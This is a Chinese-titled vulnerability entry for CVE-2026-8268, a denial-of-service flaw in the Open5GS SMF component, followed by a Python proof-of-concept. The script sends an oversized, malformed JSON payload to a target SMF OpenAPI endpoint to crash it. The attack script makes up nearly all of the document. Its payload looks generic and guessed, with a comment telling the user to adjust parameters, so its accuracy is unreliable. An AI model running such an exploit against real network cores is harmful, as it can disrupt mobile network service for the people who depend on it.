CVE-2026-8268 Open5GS SMF组件拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8268 (Open5GS SMF DoS) This script attempts to trigger the denial of service by sending a crafted payload to the SMF OpenAPI endpoint. """ import requests import sys def send_exploit(target_url): headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8268-Scanner" } # Malformed payload targeting OpenAPI_list_create # Adjust parameters based on specific API implementation details payload = { "operation": "create_list", "params": { "size": 999999, # Potential integer overflow or resource exhaustion "name": "A" * 10000 } } try: print(f"[*] Sending exploit payload to {target_url}...") response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[-] Request sent. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Connection error or potential DoS triggered: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <http://target-ip:port>") sys.exit(1) target = sys.argv[1] send_exploit(target)